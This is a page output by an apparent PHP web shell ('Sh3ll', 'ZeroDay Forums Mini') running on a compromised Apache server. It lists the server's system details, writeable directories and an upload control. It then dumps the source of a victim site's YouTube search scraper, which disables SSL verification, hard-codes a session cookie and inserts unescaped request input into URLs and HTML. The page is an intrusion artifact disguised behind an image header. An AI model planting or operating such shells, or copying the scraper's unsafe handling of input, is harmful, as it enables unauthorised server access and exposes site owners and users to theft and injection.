JFIF ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/api1.123vid.top/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/api1.123vid.top/search2.php
<?php
function str_encode($data,$pwd)
{
    $x = 0;
    $a = 0;
    $j = 0;
    $Zcrypt = '';
    $pwd_length = strlen($pwd);
    for ($i = 0; $i < 255; $i++) {
        $key[$i] = ord(substr($pwd, ($i % $pwd_length)+1, 1));
        $counter[$i] = $i;
    }
    for ($i = 0; $i < 255; $i++) {
        $x = ($x + $counter[$i] + $key[$i]) % 256;
        $temp_swap = $counter[$i];
        $counter[$i] = $counter[$x];
        $counter[$x] = $temp_swap;
    }
    for ($i = 0; $i < strlen($data); $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $counter[$a]) % 256;
        $temp = $counter[$a];
        $counter[$a] = $counter[$j];
        $counter[$j] = $temp;
        $k = $counter[(($counter[$a] + $counter[$j]) % 256)];
        $Zcipher = ord(substr($data, $i, 1)) ^ $k;
        $Zcrypt .= chr($Zcipher);
    }
    return $Zcrypt;
}
function format_string($str2){
    $str = bodau($str2);
    $str = preg_replace('/^[^\p{L}\p{Nd}]+/',' ', $str);
    $str = trim($str);
    $str = preg_replace('/\s+/', ' ', $str);
    $str = preg_replace('/\s+/', '-', $str);
    return empty($str)?str_replace(' ','-',$str2):strtolower($str);
}
function bodau($str)
{
    $chuCoDau=array("à","á","ạ","ả","ã","â","ầ","ấ","ậ","ẩ","ẫ","ă",
        "ằ","ắ","ặ","ẳ","ẵ","è","é","ẹ","ẻ","ẽ","ê","ề"
    ,"ế","ệ","ể","ễ",
        "ì","í","ị","ỉ","ĩ",
        "ò","ó","ọ","ỏ","õ","ô","ồ","ố","ộ","ổ","ỗ","ơ"
    ,"ờ","ớ","ợ","ở","ỡ",
        "ù","ú","ụ","ủ","ũ","ư","ừ","ứ","ự","ử","ữ",
        "ỳ","ý","ỵ","ỷ","ỹ",
        "đ",
        "À","Á","Ạ","Ả","Ã","Â","Ầ","Ấ","Ậ","Ẩ","Ẫ","Ă"
    ,"Ằ","Ắ","Ặ","Ẳ","Ẵ",
        "È","É","Ẹ","Ẻ","Ẽ","Ê","Ề","Ế","Ệ","Ể","Ễ",
        "Ì","Í","Ị","Ỉ","Ĩ",
        "Ò","Ó","Ọ","Ỏ","Õ","Ô","Ồ","Ố","Ộ","Ổ","Ỗ","Ơ"
    ,"Ờ","Ớ","Ợ","Ở","Ỡ",
        "Ù","Ú","Ụ","Ủ","Ũ","Ư","Ừ","Ứ","Ự","Ử","Ữ",
        "Ỳ","Ý","Ỵ","Ỷ","Ỹ",
        "Đ","?","&",",","/",".","!","@","#","$","%","//",":","\"","\\","'","$","^","(",")","\"","=","_","__","\"","“","”","-"," - ","|","[","]");

    $chuKoDau=array("a","a","a","a","a","a","a","a","a","a","a"
    ,"a","a","a","a","a","a",
        "e","e","e","e","e","e","e","e","e","e","e",
        "i","i","i","i","i",
        "o","o","o","o","o","o","o","o","o","o","o","o"
    ,"o","o","o","o","o",
        "u","u","u","u","u","u","u","u","u","u","u",
        "y","y","y","y","y",
        "d",
        "A","A","A","A","A","A","A","A","A","A","A","A"
    ,"A","A","A","A","A",
        "E","E","E","E","E","E","E","E","E","E","E",
        "I","I","I","I","I",
        "O","O","O","O","O","O","O","O","O","O","O","O"
    ,"O","O","O","O","O",
        "U","U","U","U","U","U","U","U","U","U","U",
        "Y","Y","Y","Y","Y",
        "D","","","","","","","","","","","","","","","","","","","","","","","","","","","",'-','','','');
    $outstr = str_replace($chuCoDau,$chuKoDau,$str);
    $outstr = strtolower(trim($outstr));
    return $outstr;
}
function curl_func($url) {
    $ch = curl_init();
    $head[] = 'Host: m.youtube.com';
    $head[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0';
    $head[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8';
    $head[] = 'Accept-Language: en-US,en;q=0.5';
    $head[] = 'Accept-Encoding: gzip';
    $head[] = 'Connection: keep-alive';
    $head[] = 'Cookie: VISITOR_INFO1_LIVE=fQJoDmD2uIM; _ga=GA1.2.132832653.1582794066; PREF=app=m; CONSENT=YES+VN.vi+20170312-18-0; YSC=f7ClEVxjn-o; GPS=1';
    $head[] = 'Upgrade-Insecure-Requests: 1';
    $head[] = 'Pragma: no-cache';
    $head[] = 'Cache-Control: no-cache';
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) CriOS/28.0.1500.12 Mobile/10B329 Safari/8536.25');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_REFERER, 'https://m.youtube.com');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_COOKIEJAR,  'cookies-m-youtube-com-search.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies-m-youtube-com-search.txt');
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch,CURLOPT_ENCODING , "gzip");
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}
function weird_answer_to_weird_question($string)
{
    return preg_replace_callback('#\\\\x([[:xdigit:]]{2})#ism', function($matches)
    {
        return chr(hexdec($matches[1]));
    },
        $string);
}
function custom_json_decode($json_text) {

    $decoded_array = json_decode($json_text, TRUE);
    switch (json_last_error()) {
        case JSON_ERROR_NONE:
            return array(
                "status" => 0,
                "value" => $decoded_array
            );


        case JSON_ERROR_DEPTH:
            return array(
                "status" => 1,
                "value" => 'Maximum stack depth exceeded'
            );

        case JSON_ERROR_STATE_MISMATCH:
            return array(
                "status" => 1,
                "value" => 'Underflow or the modes mismatch'
            );

        case JSON_ERROR_CTRL_CHAR:
            return array(
                "status" => 1,
                "value" => 'Unexpected control character found'
            );

        case JSON_ERROR_SYNTAX:
            return array(
                "status" => 1,
                "value" => 'Syntax error, malformed JSON'
            );

        case JSON_ERROR_UTF8:
            return array(
                "status" => 1,
                "value" => 'Malformed UTF-8 characters, possibly incorrectly encoded'
            );

        default:
            return array(
                "status" => 1,
                "value" => 'Unknown error'
            );
    }
}
include 'simple_html_dom.php';

$keyword = bodau($_GET['kw']);
$vq = str_replace(array(' ','%20','<','>'),array('+','+','',''),$keyword);
$url_get = 'https://m.youtube.com/results?search_query='.$vq.'&gl='.$_GET['country'];

$ref = base64_encode($url_get);
$content2 = curl_func($url_get);

$arr = explode('var ytInitialData = \'',$content2);
$arr2 = explode('\';</script>',$arr[1]);
$str= weird_answer_to_weird_question($arr2[0]);
$str = html_entity_decode(stripslashes(str_ireplace('\\"','',$str)));
$data = custom_json_decode($str,true);

/*print_r($data);
exit();*/

/*$html = str_get_html($content2);
$content2 = $html->find('div#initial-data',0)->innertext;
$content2 = str_replace(array('<!--','-->'),array('',''),$content2);
$data = json_decode(trim($content2),true);*/

$detail['ref'] = $ref;
$detail['total'] = $data['value']['estimatedResults'];
$detail['avatar'] = $data['value']['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['channelThumbnail']['thumbnails']['0']['url'];


$detail['video_1_title'] = $data['value']['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['title']['runs']['0']['text'];
$channel_url = $data['value']['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['longBylineText']['runs']['0']['navigationEndpoint']['commandMetadata']['webCommandMetadata']['url'];
$channel_name = $data['value']['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['longBylineText']['runs']['0']['text'];
$channel_fname = format_string($channel_name);

$detail['chanel_id'] = $data['value']['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['longBylineText']['runs']['0']['navigationEndpoint']['browseEndpoint']['browseId'];

$detail['chanel_id'] = bin2hex(str_encode($detail['chanel_id'], 'ngocgiac'));

$detail['video_1_des'] = $detail['video_1_title'].' by <a href="channel/'.$detail['chanel_id'].'/'.$channel_fname.'/">'.$channel_name.'</a> '.$data['value']['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['publishedTimeText']['runs']['0']['text'].' '.$data['value']['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['viewCountText']['runs']['0']['text'].' '.$data['value']['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['lengthText']['accessibility']['accessibilityData']['label'];
$detail['video_1_duration'] = $data['value']['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['lengthText']['runs']['0']['text'];

for($check_key=0;$check_key<=4;$check_key++){
    if(isset($data['value']['contents']['sectionListRenderer']['contents'][$check_key]['continuationItemRenderer']['continuationEndpoint']['continuationCommand']['token'])) {
        $detail['next_token'] = $data['value']['contents']['sectionListRenderer']['contents'][$check_key]['continuationItemRenderer']['continuationEndpoint']['continuationCommand']['token'];

        break;
    }
}

$detail['videos'] = array();
$i=0;
for($check_key=0;$check_key<=4;$check_key++){
    if(isset($data['value']['contents']['sectionListRenderer']['contents'][$check_key]['itemSectionRenderer']['contents'])) {
        foreach ($data['value']['contents']['sectionListRenderer']['contents'][$check_key]['itemSectionRenderer']['contents'] as $key => $val) {
            if (!empty($val['videoWithContextRenderer']['navigationEndpoint']['watchEndpoint']['videoId'])) {
                $detail['videos'][$i]['title'] = $val['videoWithContextRenderer']['headline']['runs']['0']['text'];
                $detail['videos'][$i]['ftitle'] = format_string($detail['videos'][$i]['title']);
                $detail['videos'][$i]['id'] = $val['videoWithContextRenderer']['navigationEndpoint']['watchEndpoint']['videoId'];
                $detail['videos'][$i]['id_encode'] = bin2hex(str_encode($detail['videos'][$i]['id'], 'ngocgiac'));
                $detail['videos'][$i]['img'] = '//i.ytimg.com/vi/' . $detail['videos'][$i]['id'] . '/mqdefault.jpg';
                $detail['videos'][$i]['duration'] = $val['videoWithContextRenderer']['lengthText']['runs']['0']['text'];
                $detail['videos'][$i]['user_name'] = $val['videoWithContextRenderer']['shortBylineText']['runs']['0']['text'];
                $detail['videos'][$i]['fuser_post'] = format_string($detail['videos'][$i]['user_name']);
                $detail['videos'][$i]['user_name_id'] = basename($val['videoWithContextRenderer']['shortBylineText']['runs']['0']['navigationEndpoint']['browseEndpoint']['browseId']);
                //$detail['videos'][$i]['user_id'] = bin2hex(str_encode($detail['videos'][$i]['user_name_id'], 'ngocgiac'));
                $detail['videos'][$i]['user_id'] = bin2hex(str_encode($val['videoWithContextRenderer']['shortBylineText']['runs']['0']['navigationEndpoint']['browseEndpoint']['browseId'], 'ngocgiac'));


                $detail['videos'][$i]['user_name_avatar'] = $val['videoWithContextRenderer']['channelThumbnail']['thumbnails']['0']['url'];
                $detail['videos'][$i]['text_ago'] = $val['compactVideoRenderer']['publishedTimeText']['runs']['0']['text'];
                $i++;
            }
        }
    }
}


echo json_encode($detail);
exit();
print_r($detail);
echo '<a href="yt_s2_con.php?token='.$detail['next_token'].'&ref='.$ref.'" target="_blank">continue</a>';
exit();
echo $content2;
exit();
?>

ZeroDay Forums Mini